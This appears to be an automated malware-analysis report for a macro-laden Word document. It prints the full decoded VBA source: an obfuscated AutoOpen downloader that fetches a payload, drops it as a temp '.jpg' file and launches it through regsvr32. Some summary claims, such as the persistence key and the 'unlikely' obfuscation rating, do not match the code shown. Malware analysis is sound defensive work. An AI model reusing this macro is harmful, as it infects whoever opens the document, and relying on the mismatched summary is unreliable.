MALICIOUS
270
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample is an OOXML document containing a VBA macro with an AutoOpen subroutine. This macro uses WshShell to execute a command that writes a payload to a temporary directory as '1.jpg' and then executes it. The script also attempts to establish persistence by writing to the Run key 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy'. The presence of the AutoOpen macro and the execution of a second-stage payload strongly indicate malicious intent.
Heuristics 7
-
ClamAV: Doc.Malware.Generic-9757276-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Generic-9757276-0
-
External relationship high OOXML_EXTERNAL_RELExternal target in word/_rels/document.xml.rels: file:///C:\Framework\rels\builds\pack2\us.jpg
-
VBA project inside OOXML medium 3 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
- http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
- http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
- http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
- http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
- http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
- http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
- http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
- http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
- http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
- http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
- http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 3219 bytes |
SHA-256: d1228b729411aab0466d2fb6fcb2fc4cf44be7eac0ad0f2a342b2b3da82143f0 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "f5ee8e39"
Function bdfa1adf()
bdfa1adf = Application.ActiveDocument.ChartDataPointTrack
End Function
Function f6d4c81e()
f6d4c81e = Application.ActiveDocument.Creator
End Function
Sub AutoOpen()
Dim ab45a752 As New ffe45a69
aaa = fcfdc320(e8290c5c)
c5de17d2 = ab45a752.c4c9ad8c(aaa, "")
c1c7f1b7 c8d6d58b, c5de17d2
Dim b6a4f4bb As New WshShell
Call b6a4f4bb.exec(fa3d7245 & " " & c8d6d58b)
End Sub
Attribute VB_Name = "d70fcf7c"
Function d9f2ef30()
d9f2ef30 = ActiveWindow.DisplayScreenTips
End Function
Function d7733d38()
d7733d38 = ActiveWindow.EnvelopeVisible
End Function
Sub c1c7f1b7(c7398d8a, e4f57df7)
Dim aee304b2
aee304b2 = FreeFile
Open c7398d8a For Output As #aee304b2
Print #aee304b2, fce5d65a(e4f57df7)
Close #aee304b2
End Sub
Function c8d6d58b()
c8d6d58b = Environ("tmp") & "\1.jpg"
End Function
Function e1a9c06f()
e1a9c06f = ActiveWindow.Type
End Function
Function fc408892()
fc408892 = ActiveWindow.StyleAreaWidth
End Function
Function fcfdc320(f6e93400)
For ed7dc3ca = 1 To Len(f6e93400) Step 3
f3e19808 = f3e19808 & Mid(f6e93400, ed7dc3ca, 1)
Next
fcfdc320 = f3e19808
End Function
Function a55c8449()
a55c8449 = 2254.1081982751
End Function
Function dd7d946c()
dd7d946c = 653 + 5
End Function
Sub f787feae()
End Sub
Function fb94ff19()
fb94ff19 = ActiveWindow.DisplayHorizontalScrollBar
End Function
Function b62f95f0()
b62f95f0 = Application.ActiveDocument.CompatibilityMode
End Function
Function fce5d65a(e4f57df7)
fce5d65a = StrConv(e4f57df7, 64)
End Function
Function be38feb1()
be38feb1 = Application.ActiveDocument.ActiveThemeDisplayName
End Function
Function e48170ba()
e48170ba = Application.ActiveDocument.Content
End Function
Function e8290c5c()
e8290c5c = ActiveDocument.Shapes(1).AlternativeText
End Function
Function c6451704()
c6451704 = ActiveWindow.DisplayVerticalRuler
End Function
Function dbd84353()
dbd84353 = Application.ActiveDocument.AttachedTemplate
End Function
Function fa3d7245()
fa3d7245 = fcfdc320("r0ce48g5as10v54r16381255")
End Function
Attribute VB_Name = "ffe45a69"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function ca2e9cb5()
ca2e9cb5 = ActiveWindow.DocumentMap
End Function
Function d494f016()
d494f016 = Application.ActiveDocument.Creator
End Function
Function c4c9ad8c(f6091ae4, f3765531)
Dim f64a8e05 As Object
Set f64a8e05 = New MSXML2.XMLHTTP60
Call f64a8e05.Open("GET", f6091ae4, False)
f64a8e05.Send
c4c9ad8c = f64a8e05.responsebody
End Function
Function c14b7eae()
c14b7eae = ActiveWindow.Parent
End Function
Function c9e4aae4()
c9e4aae4 = ActiveWindow.Visible
End Function
Function de2d239f(d70780d7)
End Function
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 24064 bytes |
SHA-256: 23f730f9bffccf49a35caa4946cc26084756d039546b20c420d685c47cc8a21c |
|||
|
Detection
ClamAV:
Doc.Malware.Generic-9757276-0
Obfuscation or payload:
unlikely
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.